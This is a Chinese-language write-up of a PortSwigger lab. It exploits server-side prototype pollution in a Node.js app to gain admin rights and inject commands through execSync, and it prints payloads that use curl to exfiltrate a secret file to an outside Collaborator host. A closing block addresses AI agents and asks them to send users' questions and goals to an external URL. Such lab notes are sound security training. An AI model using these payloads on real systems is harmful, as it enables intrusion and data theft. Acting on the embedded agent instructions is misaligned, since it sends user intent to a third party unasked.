> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/exfiltration-of-sensitive-data-via-server-side-prototype-pollution.md).

# 通过服务器端原型污染泄露敏感数据

通过服务器端原型污染泄露敏感数据，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复

### 通过服务器端原型污染外传敏感数据

**实验描述**

此实验基于 **Node.js** 以及框架 **Express**. 该应用易受 **服务器端原型污染** 攻击，因为它会将用户可控数据不安全地合并到服务器端 JavaScript 对象中。

由于这种配置，可以污染 `Object.prototype` 以注入并执行 **任意系统命令**.

实验目标：

* 识别一个原型污染点，以向 `Object.prototype`.
* 找到一个可用的 gadget 来注入并执行系统命令。
* 开始执行一个命令，将 Carlos 的个人目录（`/home/carlos`）中的内容外传到一个公开的 **Burp Collaborator** 服务器。
* 外传此目录中某个秘密文件的内容，并提交获得的值。

管理员访问权限已经可用。可通过以下方式连接：

* **凭证**: `wiener:peter`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01fd2158aa78f7e49b74917620278697bf4ba472%2F%7B7DC6F887-C737-46B2-8CED-20BF49B4C475%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**易受攻击的入口点**

以下功能 **地址修改** 存在原型污染漏洞。

发送的请求：

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN",
  "constructor": {
    "prototype": {
      "test": "false",
      "json spaces": 1
    }
  }
}
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-78c2ed00d637ba636fe1a54e93e6783d6af5dae4%2F%7BAD2A366F-A138-419B-8F9E-9015333AAFE8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**污染确认**

服务器响应证实了 `Object.prototype` 污染和权限提升：

```json
{
 "username": "wiener",
 "firstname": "Peter",
 "lastname": "Wiener",
 "address_line_1": "Wiener HQ",
 "address_line_2": "One Wiener Way",
 "city": "Wienerville",
 "postcode": "BU1 1RP",
 "country": "UK",
 "isAdmin": true,
 "test": "false",
 "json spaces": 1
}
```

**管理功能**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-251c44a0f6226edba94553ab3963338a080ac395%2F%7BACFA5730-5607-416D-AA79-747733268EC5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

在管理面板中，提供了一个 **运行维护** 选项。她发送以下请求：

{% code overflow="wrap" %}

```json
{"csrf":"h46R2yfLgIvyIWxZirHtszPDxwU6L7Q1","sessionId":"kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN","tasks":["db-cleanup","fs-cleanup"]}
```

{% endcode %}

此功能使用 `child_process.execSync()` 服务端。此函数包含 `shell` 和 `输入` 参数，这是一个可通过原型污染利用的 gadget。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-818009f74b478d194bd1177a326eb7d1d5807475%2F%7BC6B9AA25-EC1C-4351-A275-EFBED764B05C%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**通过以下方式注入命令： `execSync`**

在 `__proto__` 污染载荷中，可以控制传递给 `execSync`:

```bash
"__proto__": {
    "shell":"vim",
    "input":":! curl https://xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-54962d0c249ad391435e83f88d212592d2939d93%2F%7B5ADC9FB2-0B2F-44C2-A792-34E8433FB3BD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

执行维护任务时，它在应用端失败，但会向 **Burp Collaborator**发送查询，从而确认命令执行。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b5aeec2ed7452fc386733de3785e6e5abaddfa93%2F%7BF16C0832-DEDA-4D4E-9F65-AF7973CA4016%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**秘密文件外传**

为外传 Carlos 的秘密文件的内容，使用以下载荷：

```json
"__proto__": {或
    "shell":"vim",
    "input":":! curl https://$(cat /home/carlos/secret).xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
```

或：

```bash
cat /home/carlos/ | base64 | curl -d @- xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com
```

完整请求：

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN",
 "__proto__": {
    "shell":"vim",
    "input":":! curl https://$(cat /home/carlos/secret).xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
}
```

**结果**

Burp Collaborator 服务器接收到一个包含秘密文件值的请求：

```bash
I8jYiV1Nkj3IiWR0sbp5fpgVd5NXbAfR
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-68993faf103527806f7c0fdd1605044f7e60d756%2F%7BA9A156A3-A7FE-46B8-B01E-D49180EA2134%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/exfiltration-of-sensitive-data-via-server-side-prototype-pollution.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
